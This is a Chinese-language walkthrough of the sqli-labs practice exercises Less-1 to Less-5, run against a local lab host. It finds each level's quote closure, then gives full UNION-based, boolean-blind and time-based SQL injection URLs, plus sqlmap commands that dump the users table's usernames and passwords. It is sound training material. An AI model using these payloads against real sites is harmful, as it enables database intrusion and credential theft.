1.输入http://192.168.67.134/sqli/Less-1/?id=1’
我们发现返回you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
2.进行分析
输入的是1’
返回的是 ‘‘1’’ LIMIT 0,1’
猜测出它是 ’ id ’ 闭合的
验证猜测,成功闭合并完成注释
在这里我们就发现找到闭合很重要,之后的操作都差不多。
使用http://192.168.67.134/sqli/Less-1/?id=1' --+
3.使用order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3 --+,超过 3 就会报错。
猜测出它有三列数据。
使用http://192.168.67.134/sqli/Less-1/?id=1' order by 1--+
4.使用基于报错的union联合查询,查看当前数据库用户和数据库名称,因为需要数据库报错使用的id=0。
使用http://192.168.67.134/sqli/Less-1/?id=0' union select 1,user(),database() --+
使用http://192.168.67.134/sqli/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
使用http://192.168.67.134/sqli/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
使用http://192.168.67.134/sqli/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+
使用sqlmap自动注入
1.sqlmap -u “注入点url”
sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1"
发现存在多种sql注入漏洞
2.获取当前数据库名称security
使用sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1" --current-db
3.获取当前数据库表名 emails referers uagents users
使用sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1" -D security --tables
4.获取users表中的字段名password username
使用sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1" -D security -T users --columns
5.获取当前表中的字段username,password的值
使用 sqlmap -u "http://192.168.67.134/sqli/Less-1/?id=1" -D security -T users -C username,password --dump
1.输入http://192.168.67.134/sqli/Less-2/?id=1’
我们发现返回来You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
2.进行分析
输入的是1’
返回的是’’ LIMIT 0,1’
因此我们猜测它是没有使用闭合,查询代码使用了整数。
在这里我们就发现找到闭合很重要,之后的操作都差不多。
3.使用order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。
猜测出它有三列数据。
使用http://192.168.67.134/sqli/Less-2/?id=1 order by 4 --+
4.使用基于报错的union联合查询,查看当前数据库用户和数据库名称,因为需要数据库报错使用的id=0。
使用http://192.168.67.134/sqli/Less-2/?id=0 union select 1,2,3 --+
使用http://192.168.67.134/sqli/Less-2/?id=0 union select 1,user(),database() --+
之后的操作和Less-1一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。
使用sqlmap自动注入
sqlmap -u “注入点url”,只是注入点url改变了。
sqlmap -u "http://192.168.67.134/sqli/Less-2/?id=1"
之后的操作和Less-1一样,一步步爆出用户名和密码。
1.输入http://192.168.67.134/sqli/Less-3/?id=1’
我们发现返回You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2’’) LIMIT 0,1’ at line 1
2.进行分析
输入的是2’
返回的是 ‘‘2’’) LIMIT 0,1’
猜测出它是 ( ’ id ’ ) 闭合的
验证猜测,成功闭合并完成注释
在这里我们就发现找到闭合很重要,之后的操作都差不多。
使用http://192.168.67.134/sqli/Less-3/?id=2') --+
3.使用order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3 --+,超过 3 就会报错。
猜测出它有三列数据。
使用http://192.168.67.134/sqli/Less-3/?id=1') order by 1--+
4.使用基于报错的union联合查询,查看当前数据库用户和数据库名称,因为需要数据库报错使用的id=0。
http://192.168.67.134/sqli/Less-3/?id=0') union select 1,user(),database() --+
之后的操作和Less-1一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。
使用sqlmap自动注入
sqlmap -u “注入点url”,只是注入点url改变了。
sqlmap -u "http://192.168.67.134/sqli/Less-3/?id=1"
之后的操作和Less-1一样,一步步爆出用户名和密码。
1.输入http://192.168.67.134/sqli/Less-4/?id=1’,发现没有反应,有可能 ’ 被过滤掉了。
输入http://192.168.67.134/sqli/Less-4/?id=1\,就是要多尝试几个把不同的。
我们发现返回You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1”) LIMIT 0,1’ at line 1
2.进行分析
输入的是1
返回的是’“1”) LIMIT 0,1’
猜测出它是(" id " ) 闭合的
验证猜测,成功闭合并完成注释
在这里我们就发现找到闭合很重要,之后的操作都差不多。
使用http://192.168.67.134/sqli/Less-4/?id=2") --+
3.使用order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3 --+,超过 3 就会报错。
猜测出它有三列数据。
使用http://192.168.67.134/sqli/Less-4/?id=1") order by 4--+
4.使用基于报错的union联合查询,查看当前数据库用户和数据库名称,因为需要数据库报错使用的id=0。
http://192.168.67.134/sqli/Less-4/?id=0") union select 1,2,3 --+
http://192.168.67.134/sqli/Less-4/?id=0") union select 1,user(),database() --+
之后的操作和Less-1一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。
使用sqlmap自动注入
sqlmap -u “注入点url”,只是注入点url改变了。
sqlmap -u "http://192.168.67.134/sqli/Less-4/?id=1"
之后的操作和Less-1一样,一步步爆出用户名和密码。
1.输入http://192.168.67.134/sqli/Less-5/?id=1
我们发现结果正确的时候只返回 you are in…,不会返回数据库当中的信息了
2.进行分析
使用http://192.168.67.134/sqli/Less-5/?id=1' --+
闭合正常,显示正确You are in…
如果看到这样的信息,首先想到的就是程序已经禁止了数据库信息的返回显示。这是我们就要尝试进行盲注,可以尝试布尔型盲注、报错注入、时间延迟型盲注。这类型手工注入工程量很大,所以建议大家使用sqlmap,直接利用工具进行注入。
A布尔型盲注
利用 left(database(),1)进行尝试猜测
http://192.168.67.134/sqli/Less-5/?id=1' and left(version(),1)=5 --+
查看一下 version(),数据库的版本号为 5.7.26,这里的语句的意思是看版本号的第一位是 不是 5,明显的返回的结果是正确的。
当版本号不正确的时候,则不能正确显示 you are in…
根据是否返回正确判断数据库信息,大概原理就是这样,这类型注入工程量很大。
B时间延迟型盲注
http://192.168.67.134/sqli/Less-5/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
http://192.168.67.134/sqli/Less-5/?id=1' and If(ascii(substr(database(),1,1))=105,1,sleep(5))--+
错误时我们发现时间延迟了5秒
根据是否延迟判断数据库信息,大概原理就是这样,这类型注入工程量很大。
使用sqlmap自动注入
sqlmap -u “注入点url”,只是注入点url改变了。
sqlmap -u "http://192.168.67.134/sqli/Less-5/?id=1"
使用sqlmap就跑出来存在布尔型盲注、报错注入、时间延迟型盲注。所以学会使用工具很重要。
之后的操作和Less-1一样,一步步爆出用户名和密码。